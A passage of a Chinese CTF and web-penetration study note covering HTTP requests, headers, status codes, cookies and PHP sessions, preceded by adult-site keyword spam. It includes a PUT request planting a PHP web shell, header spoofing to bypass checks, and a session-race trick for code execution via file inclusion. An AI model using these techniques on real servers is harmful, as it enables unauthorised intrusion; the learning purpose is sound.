<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      Web安全與滲透測試筆記(23/2/27)

      Web安全與滲透測試筆記

      @author: lamaper

      推薦網站

      黑客技術 - 滲透測試 - 吾愛漏洞 (52bug.cn)

      CVERC-國家計算機病毒應急處理中心

      國家信息安全漏洞庫 (cnnvd.org.cn)

      阿里云漏洞庫 (aliyun.com)

      安全客 - 安全資訊平臺 (anquanke.com)

      HackTricks - HackTricks

      首頁 - 『代碼審計』知識星球 (govuln.com)

      首頁 | 離別歌 (leavesongs.com)

      本筆記目前更適用于CTF,滲透測試的內容正在更新

      推薦靶場

      NSSCTF - 主頁 (ctfer.vip)

      BUUCTF在線評測 (buuoj.cn)

      https://app.hackthebox.com/

      本文遵循CC BY-SA 4.0:要求署名原作者與來源、允許轉載或二創、允許商用、要求同協議共享

      一、基本網絡知識

      (一)網絡是怎樣聯通的

      (二)Http協議

      http請求

      一個完整的Http請求由四個部分組成:

      1. 請求行
      2. 請求頭
      3. 空行
      4. 請求體
      1、請求行

      請求行:請求行是由請求方法字段、url字段、http協議版本字段3個部分組成。請求行定義了本次請求的方式,格式如下:GET/example.html HTTP/1.1(CRLF)

      請求方法有如下幾種:

      1. GET: 請求獲取Request-URI所標識的資源
      2. POST: 在Request-URI所標識的資源后增加新的數據
      3. HEAD: 請求獲取由Request-URI所標識的資源的響應消息報頭
      4. PUT: 請求服務器存儲或修改一個資源,并用Request-URI作為其標識
      5. DELETE: 請求服務器刪除Request-URI所標識的資源
      6. TRACE: 請求服務器回送收到的請求信息,主要用于測試或診斷
      7. CONNECT: 保留將來使用
      8. OPTIONS: 請求查詢服務器的性能,或者查詢與資源相關的選項和需求

      其中在Web安全中常用的方法為GET和POST,他們通常與編程語言結合,用來傳遞某些參數,例如在php中:

      $a = $_GET['a'];
      $b = $_POST['b'];
      

      就代表通過get請求對變量a進行傳值,通過post請求給變量b傳值。

      GET請求一般寫在url中,例如:

      http://www.example.com/?a=123
      

      ?引出需要傳遞的變量,接著對其賦值,若需要多個變量同時賦值,則需要使用&,例如:

      http://www.example.com/?a=123&b=456
      

      除此之外,post傳遞參數寫在請求體中,并且省略問號,直接寫a=123

      另外PUT方法在某些時候可以用于上傳惡意代碼,這是因為PUT可以直接將請求體中的以文件形式上傳,如:

      PUT example.com/trojan.php HTTP/1.1
      Host:................
      ...........
      
      <?php
       eval($_POST['cmd']);
      ?>
      

      這樣trojan.php就會被創建并且會含有請求體里面的內容,如果Trojan已經存在就會被修改。

      當然并不是所有服務器都會允許這些請求方法,通常只有GET、POST被允許,如果我們不知道那些方法被允許,可以使用OPTIONS查看相應頭中的Allow的值,這里面包含了服務器允許的請求方式。

      另外,由于http請求頭是以文本形式發送,有些服務器可以接受特殊的自定義方法,如MoeCTF曾要求選手使用不存在的IS方法對服務器進行請求。

      2、請求頭

      請求頭:也被稱作消息報頭,請求頭是由一些鍵值對組成,每行一對,關鍵字和值用英文冒號:分隔。允許客戶端向服務器發送一些附加信息或者客戶端自身的信息,典型的請求頭如下:

      MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用于指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。

      Header 解釋 示例
      Accept 指定客戶端能夠接收的內容類型 Accept: text/plain, text/html
      Accept-Charset 瀏覽器可以接受的字符編碼集。 Accept-Charset: iso-8859-5
      Accept-Encoding 指定瀏覽器可以支持的web服務器返回內容壓縮編碼類型。 Accept-Encoding: compress, gzip
      Accept-Language 瀏覽器可接受的語言 Accept-Language: en,zh
      Accept-Ranges 可以請求網頁實體的一個或者多個子范圍字段 Accept-Ranges: bytes
      Authorization HTTP授權的授權證書 Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
      Cache-Control 指定請求和響應遵循的緩存機制 Cache-Control: no-cache
      Connection 表示是否需要持久連接。(HTTP 1.1默認進行持久連接) Connection: close
      Cookie HTTP請求發送時,會把保存在該請求域名下的所有cookie值一起發送給web服務器。 Cookie: $Version=1; Skin=new;
      Content-Length 請求的內容長度 Content-Length: 348
      Content-Type 請求的與實體對應的MIME信息 Content-Type: application/x-www-form-urlencoded
      Date 請求發送的日期和時間 Date: Tue, 15 Nov 2010 08:12:31 GMT
      Expect 請求的特定的服務器行為 Expect: 100-continue
      From 發出請求的用戶的Email From: user@email.com
      Host 指定請求的服務器的域名和端口號 Host: www.example.com
      If-Match 只有請求內容與實體相匹配才有效 If-Match: “737060cd8c284d8af7ad3082f209582d”
      If-Modified-Since 如果請求的部分在指定時間之后被修改則請求成功,未被修改則返回304代碼 If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
      If-None-Match 如果內容未改變返回304代碼,參數為服務器先前發送的Etag,與服務器回應的Etag比較判斷是否改變 If-None-Match: “737060cd8c284d8af7ad3082f209582d”
      If-Range 如果實體未改變,服務器發送客戶端丟失的部分,否則發送整個實體。參數也為Etag If-Range: “737060cd8c284d8af7ad3082f209582d”
      If-Unmodified-Since 只在實體在指定時間之后未被修改才請求成功 If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
      Max-Forwards 限制信息通過代理和網關傳送的時間 Max-Forwards: 10
      Pragma 用來包含實現特定的指令 Pragma: no-cache
      Proxy-Authorization 連接到代理的授權證書 Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
      Range 只請求實體的一部分,指定范圍 Range: bytes=500-999
      Referer 先前網頁的地址,當前請求網頁緊隨其后,即來路 Referer: http://www.example.com/index.html
      TE 客戶端愿意接受的傳輸編碼,并通知服務器接受接受尾加頭信息 TE: trailers,deflate;q=0.5
      Upgrade 向服務器指定某種傳輸協議以便服務器進行轉換(如果支持) Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
      User-Agent User-Agent的內容包含發出請求的用戶信息 User-Agent: Mozilla/5.0 (Linux; X11)
      Via 通知中間網關或代理服務器地址,通信協議 Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
      Warning 關于消息實體的警告信息 Warn: 199 Miscellaneous warning
      X-Forwarded-For 用來偽裝來源ip X-Forwarded-For: 127.0.0.1

      在Web安全中我們常用的請求頭有cookieRefererUser-AgentX-Forwarded-For

      cookie是為了保持用戶訪問網頁連貫性而存在的,與其相似的還有session,對于cookie:

      Cookie是一段不超過4KB的小型文本數據,由一個名稱(Name)、一個值(Value)和其它幾個用于控制Cookie有效期、安全性、使用范圍的可選屬性組成。其中: (1)Name/Value:設置Cookie的名稱及相對應的值,對于認證Cookie,Value值包括Web服務器所提供的訪問令牌。 (2)Expires屬性:設置Cookie的生存期。有兩種存儲類型的Cookie:會話性與持久性。Expires屬性缺省時,為會話性Cookie,僅保存在客戶端內存中,并在用戶關閉瀏覽器時失效;持久性Cookie會保存在用戶的硬盤中,直至生存期到或用戶直接在網頁中單擊“注銷”等按鈕結束會話時才會失效。 (3)Path屬性:定義了Web站點上可以訪問該Cookie的目錄。 (4)Domain屬性:指定了可以訪問該 Cookie 的 Web 站點或域。Cookie 機制并未遵循嚴格的同源策略,允許一個子域可以設置或獲取其父域的 Cookie。當需要實現單點登錄方案時,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻擊的危險,比如攻擊者可以借此發動會話定置攻擊。因而,瀏覽器禁止在 Domain 屬性中設置.org、.com 等通用頂級域名、以及在國家及地區頂級域下注冊的二級域名,以減小攻擊發生的范圍。 (5)Secure屬性:指定是否使用HTTPS安全協議發送Cookie。使用HTTPS安全協議,可以保護Cookie在瀏覽器和Web服務器間的傳輸過程中不被竊取和篡改。該方法也可用于Web站點的身份鑒別,即在HTTPS的連接建立階段,瀏覽器會檢查Web網站的SSL證書的有效性。但是基于兼容性的原因(比如有些網站使用自簽署的證書)在檢測到SSL證書無效時,瀏覽器并不會立即終止用戶的連接請求,而是顯示安全風險信息,用戶仍可以選擇繼續訪問該站點。由于許多用戶缺乏安全意識,因而仍可能連接到Pharming攻擊所偽造的網站。 (6)HTTPOnly 屬性 :用于防止客戶端腳本通過document.cookie屬性訪問Cookie,有助于保護Cookie不被跨站腳本攻擊竊取或篡改。但是,HTTPOnly的應用仍存在局限性,一些瀏覽器可以阻止客戶端腳本對Cookie的讀操作,但允許寫操作;此外大多數瀏覽器仍允許通過XMLHTTP對象讀取HTTP響應中的Set-Cookie頭。

      所以修改本地瀏覽器cookie可以進行一些操作,繞過某些網站的驗證等。

      Referer也常用于繞過某些網站的驗證,例如某些頁面的訪問要求必須是從指定的頁面跳轉,那么修改referer至就可以達到這樣的效果。

      User-Agent常用于偽裝請求者的來源,有些網站電腦版和手機版的操作邏輯不一樣或者存在特性,我們在電腦上無法直接訪問到手機版網頁,這樣就可以通過修改UA來進行偽裝來源,有一些常見的UA:

      <----------手機版:------------>
      偽裝成Opera Mobile:
      Opera/12.02 (Android 4.1; Linux; Opera Mobi/ADR-1111101157; U; en-US) Presto/2.9.201 Version/12.02
      
      偽裝成iPhone的Safari:
      Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3
      
      偽裝成iPhone下的Chrome:
      Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3
      
      偽裝成Chrome手機端:
      Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B)
      AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile
      Safari/535.19
      
      <----------電腦版:------------>
      谷歌Chrome(Webkit、Blink)
      UserAgent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Safari/537.36
      
      蘋果Safair(Webkit、Webkit2)
      UserAgent:Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5。
      
      微軟IE/Edge(Triden、Blink)
      IE11-UserAgent:Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
      Edge-UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36Edge/13.10586
      
      火狐Firefox
      User-Agent:Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
      

      一些UA的來源于趣事

      X-Forwarded-For用于修改請求IP,用此可以偽裝請求者的來源IP。

      3、空行

      空行必不可少,它代表著請求頭結束,引出請求體

      4、請求體

      根據請求方式

      http相應

      HTTP響應由三部分組成,狀態行、消息報頭、響應正文

      1、狀態行

      狀態行由三部分組成,HTTP協議的版本號、狀態碼、以及對狀態碼的文本描述。如:

      HTTP/1.1 200 OK (CRLF)
      

      響應狀態碼

      一般分為五類:

      1. 1xx——信息響應,這一類型的狀態碼,代表請求已被接受,需要繼續處理,這類響應是臨時響應,只包含狀態行和某些可選的響應頭信息,并以空行結束,這一類型的狀態碼,代表請求已被接受,需要繼續處理。這類響應是臨時響應,只包含狀態行和某些可選的響應頭信息,并以空行結束。由于HTTP/1.0協議中沒有定義任何1xx狀態碼,所以除非在某些試驗條件下,服務器禁止向此類客戶端發送1xx響應。這些狀態碼代表的響應都是信息性的,標示客戶應該采取的其他行動。
      2. 2xx——成功響應,求已成功被服務器接收,理解,并接受,也就是一次成功的響應。
      3. 3xx——重定向,這類狀態碼代表需要客戶端采取進一步的操作才能完成請求。通常,這些狀態碼用來重定向,后續的請求地址(重定向目標)在本次響應的Location域中指明。當且僅當后續的請求所使用的方法是GET或者HEAD時,用戶瀏覽器才可以在沒有用戶介入的情況下自動提交所需要的后續請求。
      4. 4xx——客戶端錯誤,這類的狀態碼代表了客戶端看起來可能發生了錯誤,妨礙了服務器的處理。除非響應的是一個HEAD請求,否則服務器就應該返回一個解釋當前錯誤狀況的實體,以及這是臨時的還是永久性的狀況。這些狀態碼適用于任何請求方法。瀏覽器應當向用戶顯示任何包含在此類錯誤響應中的實體內容。
      5. 5xx——服務端錯誤,表示服務器無法完成明顯有效的請求。這類狀態碼代表了服務器在處理請求的過程中有錯誤或者異常狀態發生,也有可能是服務器意識到以當前的軟硬件資源無法完成對請求的處理。除非這是一個HEAD請求,否則服務器應當包含一個解釋當前錯誤狀態以及這個狀況是臨時的還是永久的解釋信息實體。瀏覽器應當向用戶展示任何在當前響應中被包含的實體。這些狀態碼適用于任何響應方法。

      http狀態碼可以通過chrome的網絡,然后找到all,就可以看到相應接口的狀態碼。一般200表示成功。

      響應狀態碼具體包括哪些

      1xx

      • 100
        • 服務器已經接收到請求頭,并且客戶端應繼續發送請求主體。或者如果請求已經完成,忽略這個響應。服務器必須在請求完成后,向客戶端發送一個最終的請求。
      • 101
        • 服務器已經理解了客戶端的請求,并通過升級消息頭,通知客戶端采用不同的協議來完成這個請求。在發送完這個響應最后的空行后,服務器將切換到在升級消息頭中定義的那些協議。
      • 102
        • 服務器已經收到并正在處理請求,但無響應可用。這樣可以防止客戶端超時,并假設請求丟失。

      2xx

      • 200
        • 請求已經成功,請求希望的響應頭或數據體將隨之響應返回。實際的響應則取決于你請求的方法,就以GET和POST的請求為例,在GET的請求中,響應將包含與請求的資源相對應的實體。則在POST的請求中,響應將包含描述或操作結果的實體。
      • 201
        • 請求已經被實現,而且有一個新的資源已經依據請求的需要而創建,并且URI已經隨Location頭信息返回。
      • 202
        • 服務器已經接受請求,但是尚未處理,最終該請求也可能不會被執行,并且可能在處理發生時被禁止。
      • 203
        • 服務器是一個轉換代理服務器,例如網絡加速器,以200狀態碼為起源,但回應了原始響應的修改版本。
      • 204
        • 服務器處理了請求,沒有返回內容。。一般適用場景,在wifi設備連接到需要進行Web認證的Wife接入點時,通過訪問一個能在HTTP 204響應的網站,如果能正常接受204的響應,則代表無需Web認證,否則會彈出網頁瀏覽器界面,顯示出Web網頁認證界面用于讓用戶進行登陸。
      • 205
        • 服務器成功處理了請求,但沒有返回任何內容。與204的區別就是,此響應要求請求者重置文檔視圖。
      • 206
        • 服務器已經成功處理了部分GET請求。典型的應用就是像迅雷這類的HTTP下載工具響應實現端點續傳或者將一個大文檔分解為多個下載段同時下載。
      • 207
        • 代表之后的消息體將是一個XML消息,并且可能依照之前子請求數量的不同,包含一系列獨立的響應代碼。
      • 208
        • DAV綁定的成員已經在(多狀態)響應之前的部分被列舉,且未被再次包含。
      • 226
        • 服務器已經滿足了對資源的請求,對實體請求的一個或多個實體操作的結果表示。

      3xx

      • 300
        • 被請求的資源有一系列可供選擇的回饋信息,每個都有自己特定的地址和瀏覽器驅動的商議信息。用戶或瀏覽器能夠自行選擇一個首選的地址進行重定向。除非這是一個HEAD請求,否則該響應應當包括一個資源特性及地址的列表的實體,以便用戶或瀏覽器從中選擇最合適的重定向地址。這個實體的格式由Content-Type定義的格式所決定。瀏覽器可能根據響應的格式以及瀏覽器自身能力,自動作出最合適的選擇。
      • Content-Type 標頭告訴客戶端實際返回的內容的內容類型。一般在http的請求頭進行設置。一般有以下的幾種格式:
        • text/html: HTML 格式
        • text/plain: 純文本格式
        • text/xml: XML 格式
        • image/gif: gif圖片格式
        • image/jpeg: jpg圖片格式
        • image/png: png圖片格式
      • 301
        • 被請求的資源已永久移動到新位置,并且將來任何對此資源的引用都應該使用本響應返回的若干個URI之一。如果可能,擁有鏈接編輯功能的客戶端應當自動把請求的地址修改為從服務器反饋回來的地址。除非額外指定,否則這個響應也是可緩存的。
      • 302
        • 要求客戶端執行臨時重定向,由于這樣的重定向是臨時的,客戶端應當繼續向原有地址發送以后的請求,只有在Cache-Control或Expires中進行了指定的情況下,這個響應才是可緩存的。Cache-Control是http響應頭用來放置緩存信息的。
      • 303
        • 對應當前請求的響應可以在另一個URI上被找到,當響應于POST(或PUT / DELETE)接收到響應時,客戶端應該假定服務器已經收到數據,并且應該使用單獨的GET消息發出重定向。這個方法的存在主要是為了允許由腳本激活的POST請求輸出重定向到一個新的資源。這個新的URI不是原始資源的替代引用。同時,303響應禁止被緩存。當然,第二個請求(重定向)可能被緩存。
      • 304
        • 表示資源在由請求頭中的if-Modified-Since 或 if-None-Match 參數指定的這一版本之后,未曾被修改。由于客戶端仍然具有以前下載的副本,因此不需要重新傳輸資源。
      • 305
        • 被請求的資源必須通過指定的代理才能被訪問。Location域中將給出指定的代理所在的URI信息,接收者需要重復發送一個單獨的請求,通過這個代理才能訪問相應資源。只有原始服務器才能創建305響應。
      • 306
        • 在最新版的規范中,306狀態碼已經不再被使用。最初是指“后續請求應使用指定的代理”。
      • 307
        • 在這種情況下,請求應該與另一個URI重復,但后續的請求應仍使用原始的URI,與302相反,當重新發出原始請求時,不允許更改請求方法。 例如,應該使用另一個POST請求來重復POST請求。
      • 308
        • 請求和所有將來的請求應該使用另一個URI重復。 307和308重復302和301的行為,但不允許HTTP方法更改。 例如,將表單提交給永久重定向的資源可能會順利進行。

      4xx

      • 400
        • 由于明顯的客戶端錯誤(例如,格式錯誤的請求語法,太大的大小,無效的請求消息或欺騙性路由請求),服務器不能或不會處理該請求。
      • 401
        • 類似于403 Forbidden,401語義即"未認證",即用戶沒有必要的憑據。該狀態碼表示當前需求需要用戶驗證。
      • 402
        • 該狀態碼是為了將來可能的需求而預留的。該狀態碼最初的意圖可能被用作某種形式的數字現金或在線支付方案的一部分,但幾乎沒有哪家服務商使用,而且這個狀態碼通常不被使用。
      • 403
        • 服務器已經理解請求,但是拒絕執行它。與401響應不同的是,身份驗證并不能提供任何幫助,而且這個請求也不應該被重復提交。如果這不是一個HEAD請求,而且服務器希望能夠講清楚為何請求不能被執行,那么就應該在實體內描述拒絕的原因。當然服務器也可以返回一個404響應,假如它不希望讓客戶端獲得任何信息。
      • 404
        • 請求失敗,請求所希望得到的資源未被在服務器上發現,但允許用戶的后續請求。沒有信息能夠告訴用戶這個狀況到底是暫時的還是永久的。假如服務器知道情況的話,應當使用404狀態碼來告知舊資源因為某些內部的配置機制問題已經永久的不可用,而且沒有任何可以跳轉的地址。404這個狀態碼被廣泛應用于當服務器不想揭示到底為何請求被拒絕或者沒有其他適合的響應可用的情況。
      • 405
        • 請求行中指定的請求方法不能被用于請求相應的資源。該響應必須返回一個Allow頭信息用以表示出當前資源能夠接受的請求方法的列表。例如,需要通過POST呈現數據的表單上的GET請求,或只讀資源上的PUT請求。鑒于PUT,DELETE方法會對服務器上的資源進行寫操作,因而絕大部分的網頁服務器都不支持或者在默認的配置下不允許上述的請求方法,對于此類請求均會返回405錯誤。
      • 406
        • 請求的資源的內容特性無法滿足請求頭中的條件,因而無法生成響應實體,該請求不可接受。除非這是一個HEAD請求,否則該響應就應當返回一個包含可以讓用戶或者瀏覽器從中選擇最合適的實體特性以及地址欄表的實體。實體的格式由Content-Type頭中定義的媒體類型決定。瀏覽器可以根據格式及自身能力自行作出最佳選擇。但是,規范中并沒有定義任何作出此類自動選擇的標準。
      • 407
        • 與401的響應類似,不同的是客戶端必須在代理服務器上進行身份驗證。代理服務器必須返回一個Proxy-Authenticate用以進行身份詢問。客戶端可以返回一個Proxy-Authorization信息頭用以驗證。
      • 408
        • 請求超時。根據HTTP規范,客戶端沒有在服務器預備等待的時間內完成一個請求的發送,客戶端可以隨時再次提交這一請求而無需進行任何更改。
      • 409
        • 表示因為請求存在沖突無法處理該請求,例如多個同步更新之間的編輯沖突。
      • 410
        • 表示所請求的資源不再可用,將不再可用。當資源被有意地刪除并且資源應被清除時,應該使用這個。在收到410狀態碼后,用戶應停止再次請求資源。但大多數服務端不會使用此狀態碼,而是直接使用404狀態碼。
      • 411
        • 服務器拒絕在沒有定義Content-Length頭的情況下接受請求。在添加了表明請求消息體長度的有效Content-Length頭之后,客戶端可以再次提交該請求。
      • 412
        • 服務器在驗證在請求的頭字段中給出先決條件時,沒能滿足其中的一個或多個。這個狀態碼允許客戶端在獲取資源時在請求的元信息(請求頭字段數據)中設置先決條件,以此避免該請求方法被應用到其希望的內容以外的資源上。
      • 413
        • 表示服務器拒絕處理當前請求,因為該請求提交的實體數據大小超過了服務器愿意或者能夠處理的范圍。此種情況下,服務器可以關閉連接以免客戶端繼續發送此請求。如果這個狀況是臨時的,服務器應當返回一個Retry-After的響應頭,以告知客戶端可以在多少時間以后重新嘗試。
      • 414
        • 表示請求的URI長度超過了服務器能夠解釋的長度,因此服務器拒絕對該請求提供服務。通常將太多數據的結果編碼為GET請求的查詢字符串,在這種情況下,應將其轉換為POST請求。
      • 通常的情況包括:
        • 本應使用POST方法的表單提交變成了GET方法,導致查詢字符串過長;
        • 重定向URI“黑洞”,例如每次重定向把舊的URI作為新的URI的一部分,導致在若干次重定向后URI超長。
        • 客戶端正在嘗試利用某些服務器中存在的安全漏洞攻擊服務器,這類服務器使用固定長度的緩沖讀取或操作請求的URI,當GET后的參數超過某個數值后,可能會產生緩沖區溢出,導致任意代碼被執行,沒有此類漏洞的服務器,應當返回414狀態碼。
      • 415
        • 對于當前請求的方法和所請求的資源,請求中提交的互聯網媒體類型并不是服務器中所支持的格式,因此請求被拒絕。例如。客戶端將圖像的格式上傳為svg,但服務器要求圖像使用上傳格式為jpg。
      • 416
        • 客戶端已經要求文件的一部分,但服務器不能提供該部分。例如,如果客戶端要求文件的一部分超出文件尾端。
      • 417
        • 在請求頭Expect中指定的預期內容無法被服務器滿足,或者這個服務器是一個代理服顯的證據證明在當前路由的下一個節點上,Expect的內容無法被滿足。
      • 421
        • 該請求針對的是無法產生響應的服務器(例如因為連接重用)。
      • 422
        • 請求格式正確,但是由于含有語義錯誤,無法響應。
      • 423
        • 當前的資源被鎖定。
      • 424
        • 由于之前的某個請求發生錯誤,導致當前的請求失敗。
      • 425
        • 服務器拒絕處理在Early Data中的請求,以規避可能的重放攻擊。
      • 重放攻擊是一種網絡攻擊,通過惡意的欺詐性地重復或拖延正常的數據傳輸而實施。因工作原理如同重放歌曲一樣而得名。
      • 426
        • 原服務器要求該請求滿足一定條件。這是為了防止“未更新”問題,即客戶端讀取(GET)一個資源的狀態,更改它,并將它寫(PUT)回服務器,但這期間第三方已經在服務器上更改了該資源的狀態,因此導致了沖突。
      • 429
        • 用戶在給定的時間內發送了太多的請求。旨在用于網絡限速。
      • 431
        • 服務器不愿處理請求,因為一個或多個頭字段過大。
      • 451
        • 該訪問因法律的要求而被拒絕。

      5xx

      • 500
        • 通用錯誤消息,服務器遇到了一個未曾預料的狀況,導致了它無法完成對請求的處理。沒有給出具體錯誤信息。
      • 501
        • 服務器不支持當前請求所需要的某個功能。當服務器無法識別請求的方法,并且無法支持其對任何資源的請求。
      • 502
        • 作為網關或者代理工作服務器嘗試執行請求時,從上游服務器收到無效的響應。
      • 503
        • 由于臨時的服務器維護或者過載,服務器無法處理請求。這個狀況時暫時的,且在一段時間后就會恢復。
      • 504
        • 作為網關或者代理工作的服務器嘗試執行請求時,未能及時從上游服務器(URI標識出的服務器,例如HTTP,FTP,LDAP)或者輔助服務器(例如DNS)收到的響應。
      • 505
        • 服務器不支持,或者拒絕支持在請求中使用的HTTP版本。這暗示著服務器不能或不愿使用與客戶端相同的版本。響應中應當包含一個描述了為何版本不被支持以及服務器支持哪些協議的實體。
      • 506
        • 代表服務器存在內部配置錯誤,被請求的協商變元資源被配置為在透明內容協商中使用自己,因此在一個協商處理中不是一個合適的重點。
      • 507
        • 服務器無法存儲完成請求所必須的內容。這個狀況被認為是臨時的。
      • 508
        • 服務器在處理請求時陷入死循環。
      • 511
        • 客戶端需要進行身份驗證才能獲得網絡訪問權限,旨在限制用戶群訪問特定網絡。

      會話(Session)

      Session:在計算機中,尤其是在網絡應用中,稱為“會話控制”。Session對象存儲特定用戶會話所需的屬性及配置信息。這樣,當用戶在應用程序的Web頁之間跳轉時,存儲在Session對象中的變量將不會丟失,而是在整個用戶會話中一直存在下去。

      由于html的特性,多個請求之間無關聯,如果在/xxx.html中為登錄狀態,那么跳轉到/yyy.html就會變成默認的未登錄狀態,seesion的出現是為了彌補這一缺陷,讓每一個用戶在多個請求中狀態一致。

      session是保存在服務端的,與之相對的是cookie,cookie是保存在客戶端的。每當用戶使用一瀏覽器開始對服務器發出請求,一個session就會被創建,當用戶關閉瀏覽器結束訪問,session會被刪除。所以用同一個ip訪問同一個網站,如果瀏覽器不同,用戶狀態也是不同的,所以session創建的標準是瀏覽器而不是ip。session不隨刷新頁面而消失。

      特別要注意的是,Session是一種技術,一種形式,并不是某種特殊的文件格式或其他的,在下文中為了區別一些Session的具體實現:如session、sessionstorage、localstorage還有redis,我將首字母大寫的Session代指這項保持用戶會話的技術,小寫來代指具體的實現方式。

      1、php中的session

      每次我們訪問一個頁面,如果有開啟session,也就是有session_start() 時,就會自動生成一個session_id 來標注是這次會話的唯一ID,同時也會自動往cookie里寫入一個名字為PHPSESSID的變量,它的值正是session_id,當這次會話沒結束,再次訪問的時候,服務器會去讀取這個PHPSESSID的cookie是否有值有沒過期,如果能夠讀取到,則繼續用這個session_id,如果沒有,就會新生成一個session_id,同時生成PHPSESSID這個cookie。由于默認生成的這個PHPSESSID cookie是會話,也就是說關閉瀏覽器就會過期掉,所以,下次重新瀏覽時,會重新生成一個session_id。

      這個session是32位的。

      session的存儲地址在php.ini文件中會被標明,一般最后一級目錄會是\tmp,當一個會話開始的時候,服務器會在目錄下寫入sess_xxxxxxxxxx文件,下劃線后的就是這個會話的session_id。

      一些session的服務端操作

      一般我們通過$_SESSION['<變量名>'] = ....將一些數據存儲在session中。這些數據最終會被以序列化后的格式存儲在sess_文件中。session.save_handler = files 表示的是session的存儲方式,默認的是files文件的方式保存。

      一些常用的函數與參數

      save_handler不僅僅只能用文件files,還可以用我們常見的memcache 和 redis 來保存。

      session.use_cookies 默認是1,表示會在瀏覽器里創建值為PHPSESSID的session_id,session.name = PHPSESSID 找個配置就是改這個名字的,這個名稱可以進行修改,如修改成PhPP,就會在瀏覽器cookie中創建PhPP的sessionid。

      session.auto_start = 0用來是否需要自動開啟session,默認是不開啟的,所有我們需要在代碼中用到session_start();函數開啟,如果設置成1,那么session_id 也會自動就生成了。

      session.cookie_lifetime = 0這個是設置在客戶端生成PHPSESSID這個cookie的過期時間,默認是0,也就是關閉瀏覽器就過期,下次訪問,會再次生成一個session_id。所以,如果想關閉瀏覽器會話后,希望session信息能夠保持的時間長一點,可以把這個值設置大一點,單位是秒。

      gc_divisor, gc_probability, gc_maxlifetime是回收這些sess_xxxxx 的文件,它是按照這3個參數,組成的比率,來啟動GC刪除這些過期的sess文件。gc_maxlifetime是sess_xxx文件的過期時間。

      2、sessionstorage和localstorage

      它們來自于Web Storage API ,這是一種新的機制, 使瀏覽器能以一種比使用 Cookie 更直觀的方式存儲鍵/值對。

      Web Storage 包含如下兩種機制:

      • sessionStorage 為每一個給定的源(given origin)維持一個獨立的存儲區域,該存儲區域在頁面會話期間可用(即只要瀏覽器處于打開狀態,包括頁面重新加載和恢復)。
      • localStorage 同樣的功能,但是在瀏覽器關閉,然后重新打開后數據仍然存在。

      這兩種機制是通過 Window.sessionStorage和 Window.localStorage屬性使用(更確切的說,在支持的瀏覽器中 Window對象實現了 WindowLocalStorageWindowSessionStorage 對象并掛在其 localStoragesessionStorage 屬性下)—— 調用其中任一對象會創建Storage對象,通過Storage 對象,可以設置、獲取和移除數據項。對于每個源(origin)sessionStoragelocalStorage 使用不同的 Storage 對象——獨立運行和控制。

      [技巧]3、session競爭

      由于session的特性,導致流量大的服務器將會承受很大的session存儲壓力,所有會定義一個定時清除session的程序,當我們的惡意程序包含在session中時,也可能被服務端識別并刪除,這時候我們可以通過暴力手段不停上傳session文件一起到在服務端刪除本地session后仍然有新的session存在。

      session惡意代碼

      phpinfo()中存在這些數據

      1,session.save_handler  files   files
          表示session以文件的形式存儲。
      2,session.save_path /tmp    /tmp
          表示session存儲目錄在/tmp下。
      3,session.serialize_handler php php
          表示反序列化和序列號的處理器是PHP。
      4,session.upload_progress.cleanup   On  On
          表示文件上傳結束后,php會立即清除對應session文件中的內容。
      5,session.upload_progress.enabled   On  On
          表示upload_progress功能啟動,即瀏覽器向服務器上傳文件時,php會把此次文件上傳的詳細信息存儲在session中。
      6,session.upload_progress.freq  1%  1%
      7,session.upload_progress.min_freq  1   1
          freq 和 min_freq 兩項用來設置服務器端對進度信息的更新頻率。合理的設置這兩項可以減輕服務器的負擔。
      8,session.upload_progress.name  PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
      9,session.upload_progress.prefix    upload_progress_    upload_progress_
          prefix 和 name 兩項用來設置進度信息在session中存儲的變量名/鍵名
      10,session.use_cookies  On  On
          表示使用cookie記錄sessionid。
      11,session.use_only_cookies On  On
          表示是否在客戶端僅僅使用 cookie 來存放會話 ID。
      12,session.use_strict_mode  Off Off
          值為off,表示Cookie中的sessionid可控。
      

      一般來說PHP_SESSION_UPLOAD_PROGRESS是開的,所以我們一般會往這個鍵值中寫入惡意代碼,然后讓整個sess文件被文件包含后解析代碼,最終執行代碼。

      NSSCTF - 第五空間 2021\EasyCleanup (ctfer.vip)為例

      服務端代碼出現

      if(isset($_GET['file'])){
          if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
          include $_GET['file'];
      }
      

